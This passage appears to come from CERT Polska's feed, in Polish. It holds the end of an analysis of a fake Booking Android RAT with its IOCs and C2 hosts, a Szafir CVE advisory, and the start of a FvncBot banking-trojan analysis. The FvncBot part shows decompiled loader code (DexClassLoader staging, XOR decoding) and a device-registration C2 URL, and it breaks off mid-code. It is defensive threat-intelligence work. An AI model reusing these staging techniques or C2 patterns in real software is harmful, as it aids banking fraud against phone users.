class="p"&gt;(),&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;WebSocketListener&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;i identyfikuje się wobec przekaźnika handshake'iem zawierającym metadane urządzenia:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;JSONObject&lt;/span&gt; &lt;span class="n"&gt;jSONObject&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;JSONObject&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;socks5Handshake&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;JSONObject&lt;/span&gt; &lt;span class="n"&gt;jSONObject2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;JSONObject&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;jSONObject2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;device_id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;getDeviceId&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="n"&gt;jSONObject2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;model&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Build&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;MODEL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;jSONObject2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android_version&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Build&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;VERSION&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;RELEASE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;jSONObject2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;manufacturer&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Build&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;MANUFACTURER&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Wyraźnie wskazuje to, że malware został zaprojektowany nie tylko do kradzieży danych, ale również do zdalnego dostępu oraz przekazywania ruchu sieciowego.&lt;/p&gt;
&lt;h2&gt;Podsumowanie&lt;/h2&gt;
&lt;p&gt;Analizowana próbka nie jest jedynie fałszywą aplikacją Booking Pulse ani prostym downloaderem. Nasza analiza pozwoliła odtworzyć pełny łańcuch infekcji, od phishingowej wiadomości po końcowy etap działania malware.&lt;/p&gt;
&lt;p&gt;Pełna ścieżka techniczna wygląda następująco:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;wiadomość phishingowa -&amp;gt; przekierowanie przez share.google/Yc9fcYQCgnKxNfRmH -&amp;gt; booking.interaction.lat/starting/ -&amp;gt; com.pulsebookmanager.helper -&amp;gt; przynęta WebView -&amp;gt; natywny loader l0a0cac5c.so -&amp;gt; natywny dekoder JNI i anti-analysis -&amp;gt; etap 2 odszyfrowany XOR-em jako APK io.cifnzm.utility67pu -&amp;gt; etap FH.svg odszyfrowany algorytmem RC4-like -&amp;gt; finalny RAT sterowany przez accessibility -&amp;gt; WebSocket C2 w otptrade.world&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Finalny payload wspiera przechwytywanie poświadczeń, HTML injection, kradzież SMS-ów, strumieniowanie ekranu, użycie kamery, zdalną kontrolę urządzenia i przekaźnik SOCKS5. Innymi słowy, APK wykorzystujący motyw &lt;em&gt;Booking.com&lt;/em&gt; stanowi jedynie widoczny punkt wejścia do znacznie bardziej rozbudowanego mechanizmu infekcji na Androidzie.&lt;/p&gt;
&lt;h2&gt;IOC&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Początkowe przekierowanie phishingowe: &lt;code&gt;https://share.google/Yc9fcYQCgnKxNfRmH&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Strona phishingowa: &lt;code&gt;https://booking.interaction.lat/starting/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Widoczna strona aktualizacji podszywająca się pod Booking: &lt;code&gt;https://booking.interaction.lat/update/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Zewnętrzny APK: &lt;code&gt;com.pulsebookmanager.helper&lt;/code&gt; (&lt;code&gt;Pulse&lt;/code&gt;)
   SHA256: &lt;code&gt;d408588683b4e66bfe0b5bb557999844fe52d1bfbda6836a48e15290082a5d42&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Zrzucona biblioteka natywna: &lt;code&gt;l0a0cac5c.so&lt;/code&gt;
   SHA256: &lt;code&gt;f9c176f04b7c4061480c037abd2e6aebb4b9b056952a29585c8b448b8ec81a0e&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Endpoint używany przez etap zewnętrzny: &lt;code&gt;https://aplication.digital/receiving/stats/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Zaszyfrowany plik etapu 2: &lt;code&gt;init_bundle_uzge.bin&lt;/code&gt;
   SHA256: &lt;code&gt;c11685cb53e264a90cbc749d04740c639c4cfdee794ab98cf16ebd007ceded3b&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Zainstalowany APK etapu 2: &lt;code&gt;io.cifnzm.utility67pu&lt;/code&gt; (&lt;code&gt;Google Play Services&lt;/code&gt;)
   SHA256: &lt;code&gt;0cf04d3a3a5a148f6f707cd2bc24b38179e0dc4252b4706f77a4d5498cf2c3e9&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Ukryty zasób etapu 3: &lt;code&gt;FH.svg&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Odszyfrowane archiwum etapu 3:
    SHA256: &lt;code&gt;3243a74015df81c999e4d11124351519e5b0d9c99c03ccb12c207d9fa894a21e&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Ukryty finalny &lt;code&gt;classes.dex&lt;/code&gt;:
    SHA256: &lt;code&gt;4ad813a484038ad2a3e66121e276c969a1b78f9c0eca0d2acb296799ea128303&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Ukryty finalny &lt;code&gt;classes2.dex&lt;/code&gt;:
    SHA256: &lt;code&gt;12713e00658fdfa9a6466d23d934a709ef8b549449877e94981029ec2e22cbc9&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Finalny host C2: &lt;code&gt;otptrade.world&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Kanał sterujący: &lt;code&gt;wss://otptrade.world:8443/control?sessionId=&amp;lt;uuid&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Kanał danych: &lt;code&gt;wss://otptrade.world:8444/data?sessionId=&amp;lt;uuid&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="News"></category><category term="android"></category><category term="analiza"></category><category term="booking"></category><category term="banker"></category><category term="rat"></category></entry><entry><title>Podatności w oprogramowaniu Szafir</title><link href="https://cert.pl/posts/2026/04/CVE-2026-26927/" rel="alternate"></link><published>2026-04-02T11:55:00+01:00</published><updated>2026-04-02T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2026-04-02:/posts/2026/04/CVE-2026-26927/</id><summary type="html">W oprogramowaniu Szafir wykryto 2 podatności różnego typu (CVE-2026-26927, CVE-2026-26928)</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Szafir i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-26927"&gt;CVE-2026-26927&lt;/a&gt;: Szafir SDK Web to wtyczka przeglądarkowa, która uruchamia aplikację SzafirHost. Podczas startu aplikacja pobiera niezbędne do działania pliki. W Szafir SDK Web można zmienić adres URL (HTTP Origin) lokalizacji wywołania aplikacji. Nieuwierzytelniony atakujący może stworzyć stronę internetową, która jest w stanie uruchomić aplikację SzafirHost z dowolnymi argumentami za pośrednictwem wtyczki przeglądarki Szafir SDK Web. Nie jest przeprowadzana żadna walidacja, aby sprawdzić, czy adres określony w parametrze &lt;code&gt;document_base_url&lt;/code&gt; ma związek z rzeczywistym adresem wywołującej aplikację domeny. Adres URL określony w parametrze &lt;code&gt;document_base_url&lt;/code&gt; jest następnie zawarty w oknie potwierdzenia wyświetlanym przez aplikację. Gdy ofiara potwierdzi uruchomienie aplikacji, zostanie ona wywołana w kontekście adresu URL strony internetowej atakującego i może pobrać dodatkowe pliki i biblioteki z tej strony. Jeśli ofiara wcześniej zaakceptowała uruchomienie aplikacji dla adresu URL wyświetlanego w oknie potwierdzenia z opcją "pamiętaj", okno potwierdzenia nie będzie wyświetlane, a aplikacja zostanie wywołana w kontekście adresu URL podanego przez atakującego bez żadnej interakcji ze strony ofiary.&lt;/p&gt;
&lt;p&gt;Problem został naprawiony w wersji 0.0.17.4.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2026-26928"&gt;CVE-2026-26928&lt;/a&gt;: SzafirHost pobiera niezbędne pliki w kontekście wywołującej strony internetowej. Podczas wywoływania, SzafirHost aktualizuje swoją bibliotekę dynamiczną. Pliki JAR są poprawnie weryfikowane na podstawie listy zaufanych skrótów plików, a jeśli plik nie jest na tej liście, zostaje sprawdzone, czy plik został cyfrowo podpisany przez producenta. Aplikacja nie weryfikuje skrótu ani cyfrowego podpisu producenta dla przesyłanych plików DLL, SO, JNILIB lub DYLIB. Atakujący może dostarczyć złośliwy plik, który zostanie zapisany w katalogu /temp użytkownika i wykonany przez aplikację.&lt;/p&gt;
&lt;p&gt;Problem został naprawiony w wersji 1.1.0.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Michałowi Leszczyńskiemu.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Analiza kampanii FvncBot</title><link href="https://cert.pl/posts/2026/03/analiza-fvncbot/" rel="alternate"></link><published>2026-03-30T14:00:00+01:00</published><updated>2026-03-30T14:00:00+01:00</updated><author><name>Kacper Ratajczak</name></author><id>tag:cert.pl,2026-03-30:/posts/2026/03/analiza-fvncbot/</id><summary type="html">CERT Polska przeanalizował próbkę szkodliwego oprogramowania wykorzystującego wizerunek banku SGB, pochodzącą z kampanii FvncBot wycelowanej w polskich odbiorców. Złośliwa aplikacja instaluje dodatkowe moduły, przekonuje ofiarę do uruchomienia funkcji ułatwień dostępu, a&amp;nbsp;następnie łączy zainfekowane urządzenie z serwerem wydającym przypisane do tego urządzenia dane logowania.</summary><content type="html">&lt;p&gt;Zespół CERT Polska przeanalizował nowe próbki powiązane z kampanią FvncBot wymierzoną w polskich użytkowników internetu. Poniższy opis został oparty na wariancie kampanii wykorzystującej wizerunek Spółdzielczej Grupy Bankowej.&lt;/p&gt;
&lt;h2&gt;Podstawowe informacje&lt;/h2&gt;
&lt;p&gt;Omawiane próbki są hostowane pod adresem &lt;code&gt;ruvofech.it[.]com&lt;/code&gt;. Sposób dystrybucji plików nie został jeszcze zidentyfikowany na moment tworzenia tej analizy.&lt;/p&gt;
&lt;p&gt;Aplikacja opisana jako &lt;code&gt;Token U2F Mobilna Ochrona SGB&lt;/code&gt; informuje użytkownika o konieczności instalacji dodatkowego &lt;code&gt;Play Component&lt;/code&gt;, a następnie prowadzi go poprzez proces instalacji dodatkowego modułu opisanego jako &lt;code&gt;Android V.28.11&lt;/code&gt;. Ofiara jest następnie nakłaniana do zezwolenia na uruchomienie funkcji ułatwień dostępu pod pretekstem uaktualnienia systemu (&lt;code&gt;System Update&lt;/code&gt;). W kolejnym kroku wspomniany moduł rejestruje się na serwerze przestępców i wysyła informacje o zainfekowanym urządzeniu.&lt;/p&gt;
&lt;h4&gt;Przebieg infekcji&lt;/h4&gt;
&lt;p&gt;Z perspektywy ofiary ciąg wydarzeń odtworzony podczas dynamicznej analizy próbki wygląda następująco:&lt;/p&gt;
&lt;p&gt;Użytkownik uruchamia aplikację wykorzystującą wizerunek SGB i na ekranie startowym widzi komunikat o konieczności instalacji &lt;code&gt;Play Component&lt;/code&gt; oraz tekst nakłaniający go do uruchomienia procesu instalacji za pomocą guzika &lt;code&gt;Install Component&lt;/code&gt;.&lt;/p&gt;
&lt;div style="display: flex; gap: 10px; justify-content: center; align-items: flex-start;"&gt;
    &lt;img src="https://cert.pl/uploads/2026/03/sgb_installed_1.png" alt="sgb1" style="width: 20%; height: auto;"/&gt;
    &lt;img src="https://cert.pl/uploads/2026/03/sgb_landing_2.png" alt="sgb2" style="width: 20%; height: auto;"/&gt;
&lt;/div&gt;

&lt;p&gt;System Android przywołuje menu kontekstowe właściwe dla instalacji aplikacji z nieznanych źródeł (&lt;code&gt;Install unknown apps&lt;/code&gt;). Użytkownik widzi informację o instalacji &lt;code&gt;Android V.28.11&lt;/code&gt;. Po instalacji modułu, guzik "instalacji" zmienia się w "aktywację" (&lt;code&gt;Activate&lt;/code&gt;). Wciśnięcie go powoduje wyświetlenie menu ustawień (&lt;code&gt;Setup Required&lt;/code&gt;), które informuje użytkownika o konieczności wyrażenia zgody na uruchomienie funkcji ułatwień dostępu.&lt;/p&gt;
&lt;div style="display: flex; gap: 10px; justify-content: center; align-items: flex-start;"&gt;
    &lt;img src="https://cert.pl/uploads/2026/03/sgb_3.png" alt="sgb3" style="width: 20%; height: auto;"/&gt;
    &lt;img src="https://cert.pl/uploads/2026/03/sgb_4.png" alt="sbg4" style="width: 20%; height: auto;"/&gt;
    &lt;img src="https://cert.pl/uploads/2026/03/sgb_5.png" alt="sgb5" style="width: 20%; height: auto;"/&gt;
    &lt;img src="https://cert.pl/uploads/2026/03/sgb_6.png" alt="sgb6" style="width: 20%; height: auto;"/&gt;
&lt;/div&gt;

&lt;p&gt;Po uruchomieniu usługi, aplikacja wyświetla komunikat &lt;code&gt;All Systems Operational&lt;/code&gt;. Każda próbka w tej kampanii używa wizerunku innego banku.&lt;/p&gt;
&lt;div style="display: flex; gap: 10px; justify-content: center; align-items: flex-start;"&gt;
    &lt;img src="https://cert.pl/uploads/2026/03/sgb_ready_7.png" alt="sgb7" style="width: 20%; height: auto;"/&gt;
    &lt;img src="https://cert.pl/uploads/2026/03/alior.png" alt="alior" style="width: 20%; height: auto;"/&gt;
    &lt;img src="https://cert.pl/uploads/2026/03/paribas.png" alt="paribas" style="width: 20%; height: auto;"/&gt;
&lt;/div&gt;

&lt;p&gt;Głównym motywem socjotechnicznym obserwowanej kampanii jest właśnie opisany wyżej podział - widoczna fasada z logotypem i szatą graficzną banku ma na celu zwabienie użytkownika w pułapkę, ale nie odpowiada za samo szkodliwe działanie. Tym zajmuje się zainstalowany za jej pomocą moduł, który ukrywa się za informacjami przypominającymi systemowe komunikaty Androida.&lt;/p&gt;
&lt;h4&gt;Co przyniosła analiza próbki?&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Istnieje zewnętrzna paczka danych &lt;code&gt;com.junk.knock&lt;/code&gt;, określana mianem &lt;code&gt;Token U2F Mobilna Ochrona SGB&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;W następnym kroku ładowany jest instalator z &lt;code&gt;/data/user/0/com.junk.knock/app_tell/tWyWeG.txt&lt;/code&gt; używając &lt;code&gt;DexClassLoader&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Załadowany instalator odpakowuje &lt;code&gt;assets/apk/payload_grass.apk&lt;/code&gt;, czyli drugi moduł odpowiedzialny za główny element ataku.&lt;/li&gt;
&lt;li&gt;Instalator korzysta z &lt;code&gt;core://setup&lt;/code&gt; by przekierować ofiarę do kolejnego etapu infekcji.&lt;/li&gt;
&lt;li&gt;Drugi etap jest spakowany pod &lt;code&gt;com.core.town&lt;/code&gt; i określany jako &lt;code&gt;Android V.28.11&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Plik APK &lt;code&gt;com.core.town&lt;/code&gt; stanowi kolejną warstwę, która ukrywa dodatkowy wsad w zagnieżdżonym zasobie o nazwie &lt;code&gt;qkcCg.jpg&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Ukryty zasób jest przekształcany za pomocą procesu podobnego do RC4 wprowadzanego przez &lt;code&gt;sDjCM&lt;/code&gt; i przekształca się w finalną wersję modułu.&lt;/li&gt;
&lt;li&gt;Podczas uruchomienia moduł rejestruje urządzenie pod adresem &lt;code&gt;https://jeliornic.it.com/api/v1/devices/register&lt;/code&gt; i otrzymuje dane dostępowe unikalne dla danego urządzenia.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Jak się chronić?&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Pobieraj aplikacje bankowe jedynie z zaufanych źródeł takich jak Google Play Store lub App Store.&lt;/li&gt;
&lt;li&gt;Jeśli otrzymujesz połączenie telefoniczne rzekomo ze swojego banku, w którym rozmówca informuje o potencjalnym zagrożeniu, rozłącz się i oddzwoń na numer znaleziony na oficjalnej stronie banku. Pozwala to uniknąć oszustw opartych na spoofingu CLI.&lt;/li&gt;
&lt;li&gt;Traktuj wszelkie instrukcje wymagające manualnej instalacji "komponentu bezpieczeństwa" lub "komponentu uruchomienia" spoza oficjalnego sklepu jako podejrzane i potencjalnie niebezpieczne.&lt;/li&gt;
&lt;li&gt;Jeśli aplikacja prosi o zgodę na instalację z nieznanych źródeł (&lt;code&gt;Install unknown apps&lt;/code&gt;), a następnie o dostęp do funkcji ułatwień dostępu, traktuj to jako ostateczny sygnał ostrzegawczy.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Analiza techniczna&lt;/h2&gt;
&lt;p&gt;Każda aplikacja na Androida posiada plik manifestu: &lt;code&gt;AndroidManifest.xml&lt;/code&gt;. W tym przypadku, już analiza tego pliku pokazuje, że zewnętrzna aplikacja korzystająca z wizerunku SGB jest zaprojektowana do współpracy z dodatkowym pakietem &lt;code&gt;com.core.town&lt;/code&gt; i komunikacji z jego dostawcą.&lt;/p&gt;
&lt;h4&gt;Manifest i przynęty&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;queries&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;package&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;com.core.town&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;provider&lt;/span&gt; &lt;span class="na"&gt;android:authorities=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;com.core.town.provider&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/queries&amp;gt;&lt;/span&gt;
...
&lt;span class="nt"&gt;&amp;lt;application&lt;/span&gt;
    &lt;span class="na"&gt;android:label=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;@string/app_name&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;com.erupt.defense.Scementplanet&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;receiver&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;com.gallery.oppose.OpposeHelper$InstallResultReceiver&amp;quot;&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;activity&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;com.gallery.oppose.OpposeActivity&amp;quot;&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt; &lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Treści wyświetlane na urządzeniu ofiary nie są przypadkowe - są zgodne z procesem asystowanej instalacji danego operatora:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;string&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;app_name&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Token U2F Mobilna Ochrona SGB&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;string&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;component_required_title&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Play Component Required&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;string&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;component_install_description&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;The Play Component ensures secure and stable application functionality. Installation will take just a few seconds.&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;string&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;install_button&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Install Component&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;string&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;permission_required&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Installation permission required&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;string&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;permission_granted&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Permission granted! Try again&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;string&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;component_active_title&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;All Systems Operational&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h4&gt;Etap 1, wczytywanie: prywatna ścieżka + DexClassLoader&lt;/h4&gt;
&lt;p&gt;Zewnętrzna klasa aplikacji inicjalizuje prywatne foldery i nazwy plików wykorzystanych podczas wykonywania programu:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;bonus&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;tell&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;tWyWeG.txt&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;j&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;File&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;r&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Dekoduje także kolejne etapy zawartości i przekazuje kontrolę do asystenta wczytywania (reflective loader helper):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;bArr3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;91&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;bArr2&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i9&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bArr&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i9&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;bArr3&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i9&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;length2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
